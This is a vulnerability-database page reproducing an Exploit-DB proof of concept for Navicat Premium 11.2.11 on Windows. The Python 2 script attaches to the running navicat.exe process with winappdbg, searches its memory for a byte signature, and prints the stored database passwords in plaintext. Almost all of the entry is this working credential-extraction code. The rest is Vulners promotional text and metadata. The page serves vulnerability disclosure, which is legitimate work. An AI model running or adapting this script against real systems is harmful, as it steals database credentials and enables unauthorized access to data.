Lucene search
K

Navicat Premium 11.2.11 (x64) - Local Database Password Disclosure

🗓️ 05 Sep 2016 00:00:00Reported by Yakir WizmanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

Navicat Premium 11.2.11 Local Database Password Disclosure on Windows Server 2012 R

Code
#####
# Navicat Premium 11.2.11 (64bit) Local Password Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.navicat.com/
# Date 05/09/2016
# Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
#
# http://www.black-rose.ml
#
# Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
#####
# Navicat Premium client v11.2.11 is vulnerable to local password disclosure, the supplied password is stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied password in order to gain access to the database.
# Proof-Of-Concept Code:
#####

import time
from winappdbg import Debug, Process

count 		= 0
found		= 0
filename 	= "navicat.exe"
process_pid = 0
memory_dump	= []

def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()

def h2b(str):
	bytes = []
	str = ''.join(str.split(" "))
	for i in range(0, len(str), 2):
		bytes.append(chr(int(str[i:i+2], 16)))
	return ''.join(bytes)

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x00\x90\x18\x00\x00\x00\x00\x00\x00\x00'):
			memory_dump.append(process.read(address,30))
		memory_dump.pop(0)
		for i in range(len(memory_dump)):
			str = b2h(memory_dump[i])
			first = str.split("00 90 18 00 00 00 00 00 00 00 ")[1]
			last = first.split("00 ")
			if last[0]:
				count = count+1
				found = 1
				print "[+] Password for connection #%d found as %s" % (count, h2b(last[0]))
		if found == 0:
			print "[-] Password not found! Make sure the client is connected at least to one database."
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()


	

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2016 00:00Current
7.4High risk
Vulners AI Score7.4
29